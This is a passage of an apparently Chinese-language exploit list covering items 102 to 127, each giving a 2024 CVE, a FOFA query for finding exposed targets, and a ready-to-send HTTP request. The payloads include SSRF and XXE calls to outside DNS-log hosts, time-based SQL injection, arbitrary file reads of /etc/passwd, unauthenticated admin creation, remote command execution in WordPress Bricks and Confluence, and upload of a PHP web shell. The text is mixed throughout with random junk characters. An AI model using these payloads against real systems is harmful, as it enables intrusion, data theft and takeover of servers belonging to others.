/ o1 e# [7 a& v$ F9 I" f, d; Z) @9 dAccept-Encoding: gzip
* ]( l& D* v' N7 G7 m
. _5 Q7 U( z2 U5 ~/ ?) H+ I' V
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
# ?$ g( y& K+ H6 V$ Q3 sFOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
0 |: ]0 {# B4 F! N7 H' kHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
( z* l+ @1 b. o& U9 Q0 ?Accept-Encoding: gzip
4 Z- \% z% F( v: u  o. D
<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
1 U3 {8 S1 N; r' b# s
103. Ivanti Pulse Connect Secure VPN XXE
- y) m, u7 Y# S/ V3 Q3 `CVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
6 `2 ~4 K( D) M2 Y; [5 u9 Q8 X7 hPOST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Content-Length: 204
Content-Type: application/x-www-form-urlencoded
( V: }4 [! F6 n1 z" K; MAccept-Encoding: gzip

7 n: s- T6 D! ^7 L7 m/ T- m, j: aSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==

- y. B8 L2 j- o  Q( A  U
其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
& C+ X) Y) f1 T. h' H4 K<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>


0 ^9 x$ h( }8 g104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
FOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
* A5 S; O/ K+ x& nHost:192.168.0.1
Content-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
1 y4 n9 t# N/ R; K# z3 GX-Requested-with: XMLHttpRequest
1 M  f1 [; b2 A5 iUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
( N0 f2 X6 V. Z* jContent-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
) I) p$ c5 L  T7 P# I+ QReferer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close

# }  n% d# ?3 Q- \9 r2 Z4 t$ z7 I{
) k" C2 a8 H; V( p0 s& e  k6 |"topicurl":"getSysStatusCfg",
8 x1 N$ m9 Q3 }"token":""
" |; S* G) y+ p}

# \. }5 R& p+ Q105. SpringBlade v3.2.0 export-user SQL 注入
9 a0 v% }% u# _/ qFOFA：body="https://bladex.vip"
& m# ~& d  H- o0 b1 s: Phttp://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
* g3 O  J% g6 j& q, t) q. X
: \, k) s) h8 v5 h106. SpringBlade dict-biz/list SQL 注入
& S, w! {5 _* O* A$ T( lFOFA：body="Saber 将不能正常工作"
! `$ {, \; A( `7 F! P4 Q$ PGET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
( C5 C: o7 q. ~' N7 S6 W2 dHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
1 [: Z5 T1 D) V$ i; yAccept-Language: zh-CN,zh;q=0.9
! G* ~, }  v) E& M4 v: q+ n3 ?, EConnection: close

) W) j2 z9 w4 [
* O. k+ g$ l1 g& u107. SpringBlade tenant/list SQL 注入
  U( K" E1 q! \1 q* @. e& ZFOFA：body="https://bladex.vip"
5 x8 t8 C& @6 Q" r' _! EGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
  H! O) v, \  A3 s% d1 ~' ?Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
Connection: close
8 R, c7 V* o4 I! u+ F0 X& L4 ~
& v' d+ V4 B  N/ F( J" A
108. D-Tale 3.9.0 SSRF
CVE-2024-21642
FOFA："dtale/static/images/favicon.png"
8 W' `7 D  A9 W9 _/ i+ @0 HGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
& S! o8 q3 s4 u0 |' {' a$ DAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
- I# y) R5 z! V' L5 O7 h* }
5 ]) F8 j8 \4 `3 T; _: L
109. Jenkins CLI 任意文件读取
$ c( _/ L/ E9 i; z: NCVE-2024-23897
" |( X) }. t. z* l! j2 WFOFA：header="X-Jenkins"
) v" S5 o6 K' I- L* i7 aPOST /cli?remoting=false HTTP/1.1
Host:
3 [% x. d, {" V, nContent-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
/ x) E( _" ]: O. FConnection: keep-alive
Content-Length: 163
5 _: `% s. S, L& @' W6 t& T
b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
2 ]1 w9 d  I9 ?: R! A2 }

POST /cli?remoting=false HTTP/1.1
Host:
* k. G% e' [, ASession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
9 D' @/ t4 f+ T6 }/ Y0 xdownload
4 U3 y" \" F& h$ A9 kContent-Type: application/x-www-form-urlencoded
8 S; \6 z" I5 p; T. L7 EContent-Length: 0
! [* v1 W; E/ e+ _/ z% F5 t) b3 o

' G  B! c$ m% N6 ^6 `$ w7 eERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
" c5 U+ D% k( d" [. A" pjava -jar jenkins-cli.jar help
& Y: g8 Q4 K9 g) o8 q[COMMAND]
& V! b' F+ z- x$ Z" i5 T3 o# K8 eLists all the available commands or a detailed description of single command.
$ U; a" K. A& K4 k COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

+ |$ ^& }% ^3 w1 q2 m) R; R
( Q" o) S, m& Q; L110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
9 T) @' E( u) E" K) }' k9 S; Z6 eFOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
# Q' N. V9 N4 C- R3 c7 _GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
; M; D$ w+ n$ n4 K' @Host: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
3 s7 l9 ^' y, i* V9 |' GConnection: close
Accept: */*
( F+ y2 u+ _5 k, `Accept-Language: en
" j4 w7 f7 Q1 ~6 MAccept-Encoding: gzip


111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
/ _9 A, r8 w) Y( \4 M( hUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
" c2 f  Z. j4 d; ]" b; Y5 i1 RAccept: */*
Accept-Language: en
Accept-Encoding: gzip
7 [% L- w% y2 p

3 m0 b. z. ?8 G1 e" X) r112. WordPress Plugin NotificationX SQL 注入
7 Z7 C! s1 N6 y' [6 E: e1 {/ vCVE-2024-1698
) L$ q0 {! V" T6 \3 T$ }1 VFOFA：body="/wp-content/plugins/notificationx"
POST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
* K6 |2 _! s# }* h0 F+ ~- `Content-Type: application/json
% G- \! g5 V/ |1 C
, p: x$ q5 `! l  V' L{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
7 }. \* a+ D0 K, t9 F2 L! a0 A

113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
! _; \1 ~0 Q6 |6 q- sFOFA："/wp-content/plugins/wp-automatic"
: N6 `8 H" H# G  t) J& jGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
! R" i! }7 h0 J0 ?0 E& eUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
! l7 |" w2 v+ d, s0 g) HConnection: close
Accept: */*
* ~9 b: T/ d: a/ L4 EAccept-Language: en
- y# R' ?% V( R- F, mAccept-Encoding: gzip


114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
4 |8 B) I# a4 ^" l0 [$ WGET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
/ d) c6 k2 `5 e) UHost: your-ip
: Z+ p& n1 X6 g4 n2 vUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
5 B" _8 [1 K- L3 z3 p$ KAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

4 b' w1 Y# Q  ^: I( h* I7 x
115. WordPress Bricks Builder <= 1.9.6 RCE
. k& d3 V  Q  m, c8 PCVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
. _' d$ Y" L% M! n% f  _9 }' }GET / HTTP/1.1
Host: x.x.x.x
8 M  a% z( ]# E0 y6 |User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
$ k6 h& G6 b: x/ Y, |& T  bAccept-Encoding: gzip
: l  t" n, |' o
1 ]1 \. K% _. c: H( N( f3 f
第二步替换nonce值，执行命令
1 s5 h; b+ _- Y/ g$ D( V3 ?POST /wp-json/bricks/v1/render_element HTTP/1.1
2 C7 ~( X" ^# }) IHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
& J5 T& n( p0 e# D3 fConnection: close
Content-Length: 356
1 X9 q0 l6 K! L, Z# x/ UContent-Type: application/json
Accept-Encoding: gzip

{
"postId": "1",
: Q! U0 C( I0 H6 t, r  "nonce": "第一步获得的值",
  "element": {
    "name": "container",
( k# C) O% |3 I7 v& ?    "settings": {
      "hasLoop": "true",
% \4 w. I4 y" L. Y8 @) N      "query": {
        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
, G4 h8 s' G! G" Z* M* @" E- `        "objectType": "post"
* V# a( ^# ]0 S9 p. R/ ?, @      }
3 D2 r- @3 d4 o+ n# N, l    }
  }
; n: u" Z5 r8 [; K}
; ~* R& k7 l) d6 B) ]
( i" {$ r. O" b' q, U; Q
116. wordpress js-support-ticket文件上传
. ^4 K0 H0 i6 c. KFOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
; n0 }" ~. m/ s: M3 k, D" hContent-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0

----------767099171
2 {. T; |2 g* x5 y4 h2 hContent-Disposition: form-data; name="action"
configuration_saveconfiguration
6 S: g% l5 N' L, C- G- q/ M$ e----------767099171
0 [0 O6 t. k* n) J" R7 HContent-Disposition: form-data; name="form_request"
jssupportticket
& }' M8 ]7 g. d* n: r9 O9 m+ _----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
5 s0 N& W1 x: |) p$ N9 v: XContent-Type: image/png
% {  K: e! ^4 s5 Z/ s----------767099171--
/ p. [! H5 C+ P

117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& H. [* G2 m$ D# U! Z/ v8 f7 P/ lAccept-Encoding: gzip, deflate, br
( S  t: ^% Y  a  T, x5 y' AConnection: close
. w! P* N. e- sUpgrade-Insecure-Requests: 1
( w1 x) Z& ?% {2 r: }3 N

118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
4 h2 h, P& \& a' k3 ?" J# NCVE-2024-0939
FOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
. X& e2 t4 |# V2 H5 k( Q2 lHost: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
9 o- u, `0 E- l( R3 L3 eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
8 i; G( e! |. ~Content-Length: 405
) k9 f* S/ l8 ^, N/ V" ]Origin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
( I9 x% V0 _$ |2 ^8 CSec-Fetch-Mode: navigate
1 g' o' o: l6 PSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
# P, E3 i' a: R0 bConnection: close

-----------------------------13979701222747646634037182887
4 z4 H9 |+ p6 `6 wContent-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream

<?php
system($_POST["passwd"]);
?>
-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="txt_path"

/home/src.php
-----------------------------13979701222747646634037182887--
# |5 x6 D5 }/ h* f% D. c

访问/home/src.php
5 W5 e& Y& }7 p4 z! [- y
+ g# m4 A  P7 `; b  e+ D9 {119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
2 h: S2 w5 X$ `; w( \FOFA：title="Smart管理平台"
3 M7 Q! j( [6 v9 X6 _" a* e先登录进入系统，默认账号密码为admin/admin
( X3 V  ]4 p% q' n4 P8 |POST /sysmanage/sysmanageajax.php HTTP/1.11
. W  \% y  I: \7 c4 lHost: x.x.x.x
8 F- @: Q" N2 s! w! M& b1 V$ FCookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
0 r& Z/ ], `7 o' X1 X# L0 Q1 ?Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: C& \; N5 X/ \: l+ LAccept-Encoding: gzip, deflate
0 W' c) p( d) ?: D( ?) jContent-Type: application/x-www-form-urlencoded;
5 }  x* S, d1 G0 P- O- ZContent-Length: 109
Origin: https://58.18.133.60:8443
/ J; k! I1 _: B/ |Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
! s/ n6 H+ g$ X& T, V& b. S9 ?Sec-Fetch-Dest: empty
6 F( Y+ F. Q4 ], n1 pSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
+ K; ~# J2 R1 \X-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
) E" v- U4 @! j1 l# e* EX-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
# R* P" J/ `& t/ t5 s, k8 nTe: trailers
, L# V" i5 m9 K0 bConnection: close

src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456

: Q" I+ P8 R% V' ^, @4 b3 M
120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
0 E( G1 Q+ F6 RFOFA：title="Smart管理平台"
. ]3 A2 |4 @5 d1 o' Y. A. ^1 tPOST /useratte/web.php? HTTP/1.1
8 K- ]# \. e1 S; }2 o, H' G0 eHost: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
0 ^8 q. P: M" i+ Q+ OUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. A. `9 z, C4 k' ]' E& d  A8 pAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
; x. |/ y) H$ e& n7 ]$ n( |$ GContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
Origin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
5 \2 q5 f6 R6 u. ~Upgrade-Insecure-Requests: 1
4 X  X; l( I! F  PSec-Fetch-Dest: document
9 ?! r# \& Q4 ^7 p/ v4 z& USec-Fetch-Mode: navigate
$ s8 \8 A& a# k" f2 |; m& q5 gSec-Fetch-Site: same-origin
* i& O9 ~0 l  p8 q( q1 z% ASec-Fetch-User: ?1
3 {' m7 B* r1 Y- wTe: trailers
4 v0 c+ |& \4 D) g6 }Connection: close

  ?& J; Z, ?0 \* f-----------------------------42328904123665875270630079328
2 N' o" p  i+ \, F  @0 oContent-Disposition: form-data; name="file_upload"; filename="2.php"
- n5 P  Y. o) rContent-Type: application/octet-stream
- x' ~8 B- z' s. h( r4 S) R
<?php phpinfo()?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

/ F2 g5 q* I% y1
-----------------------------42328904123665875270630079328
% s+ u7 ^+ s/ `- EContent-Disposition: form-data; name="1_ck"

1_radhttp
-----------------------------42328904123665875270630079328
5 V& Z& e) x2 FContent-Disposition: form-data; name="mode"
* C+ r& J# L  i* n# d
4 c+ Q6 N3 C# L* |0 U' ximport
6 q1 X9 j. U/ d! X! X8 k( V3 e2 D-----------------------------42328904123665875270630079328


% t1 O$ }7 w; F' }文件路径/upload/2.php

' T6 l- S8 ?& e1 V0 A9 I121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
FOFA：title="Smart管理平台"
/ P8 Z3 o, G3 B9 H9 OPOST /useratte/userattestation.php HTTP/1.1
9 H, f: \% D- U/ O5 C, \( RHost: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
( J  U* H7 v( r4 _, i$ p0 ]+ aUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 E( x& U! ~! D# b/ a7 H  h5 n& BAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% q1 K6 v4 e# k6 g/ |Accept-Encoding: gzip, deflate
7 l- K( f) d4 p; aContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
Origin: https://192.168.40.130:8443
0 d- t; d5 a$ T" wUpgrade-Insecure-Requests: 1
% O; g( ^& y' G" ^) G+ {4 T, PSec-Fetch-Dest: document
, a& e' F8 _: k* ^7 {# _5 dSec-Fetch-Mode: navigate
. P, _! f8 b# b) r( Q: |  NSec-Fetch-Site: same-origin
1 x. P$ a! d5 Y3 Z/ zSec-Fetch-User: ?1
Te: trailers
Connection: close
# T, x, P. w5 t$ @2 h) U6 p5 d
( K6 K6 k7 k+ g2 d3 r9 e: _-----------------------------42328904123665875270630079328
# P; f. Z5 z4 r& M& _8 B1 g; x3 jContent-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream
7 m$ x! w" p& Z2 X& i, k, n
<?php phpinfo();?>
-----------------------------42328904123665875270630079328
$ c, e/ D; _/ g8 n2 h3 J9 ~Content-Disposition: form-data; name="id_type"

; V7 w0 c5 R. V2 @1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

1_radhttp
) N; V5 f) s1 f; ~. I, L& X-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"
, B, T8 {: z( t- z2 N& L
set
2 x1 ~; t0 S" r5 G* u& p4 e-----------------------------42328904123665875270630079328
1 I5 Z# `; K) _4 R

& _' @- f  X( [( A; z( `boot/web/upload/weblogo/1.php
9 ~, ?( N+ Q; \4 _0 h) Q
9 l3 m  |( t' _, i4 v$ b122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
5 j* f- f& Z0 T1 V( k6 JHost: x.x.x.x
/ |; E7 H& l1 U' x2 H( Q2 sCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
" W2 E: J% Q- x% `. ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
( o5 ?3 K: ?5 ]  Y; G6 u4 k' OAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% G0 X9 b8 s& U; {1 r/ M6 RAccept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
9 r' G0 a' r- _Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
6 k& O2 b! e# R3 r; J# ?( jSec-Fetch-User: ?1
, ^4 P7 X% \: o# H- X; l8 @- w/ zTe: trailers
0 Y2 S3 [) o& cConnection: close
, b6 u6 x% I& U( J& ~) e1 N

- w  d/ K: e* c- u& I4 d- ]123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
7 d* H" H6 {2 A7 }5 n8 Z  VPOST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
( D% p4 u* u3 N9 ?% DAccept: */*
$ b* S2 V' H3 B2 FAccept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
- k6 b$ _# f; EConnection: close
3 x/ a2 }& {  N  q# a" ^5 `Content-Type: application/x-www-form-urlencoded
; x% r) X$ H2 L' G% B! R6 I& N7 E
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))


124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
/ z" M( J4 Y& X7 C: `: f, x1 IContent-Length: 72
8 O5 ^) m9 e6 n. m" VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
7 p# O% R2 h* zAccept-Encoding: gzip, deflate, br
/ o/ \8 l  ^, LAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- N0 r9 C# f  u" g& C9 JConnection: close
Content-Type: application/x-www-form-urlencoded
9 v4 U  W2 y' o$ Y. I- A9 e  ?
filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>


, O, A* K5 o5 A7 L" F1 Vhttp://192.168.40.130:8282/Scripts/abcgcg.aspx

, {5 ^# w4 B: `, {# z125. ConnectWise ScreenConnect身份验证绕过
2 C2 B# ]/ o" l5 @1 bCVE-2024-1709
FOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc
: c* q6 e% D) D' T/ n
  ?  I  [( w% ~; L$ x0 v& d
使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!


创建好用户后直接登录后台，可以执行系统命令。

126. Aiohttp 路径遍历
7 |: |8 Y: r% i7 i; _( _FOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
9 r, o( O* F, E! zConnection: close
# u' f' w# i! E- g; C4 @+ Y+ {Accept: */*
9 \2 u9 k0 |  HAccept-Language: en
Accept-Encoding: gzip


" n# h) [' E5 A% `# Q6 c3 e" Y5 `127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
; z4 J: F( {. n. GPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
" m, I* k/ A: n# uHost: 192.168.40.130:8888
3 f6 d1 l3 l2 ~2 o! n, c% N# P" [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
: l" [. z0 D. H, y- Z; ?3 eContent-Length: 415
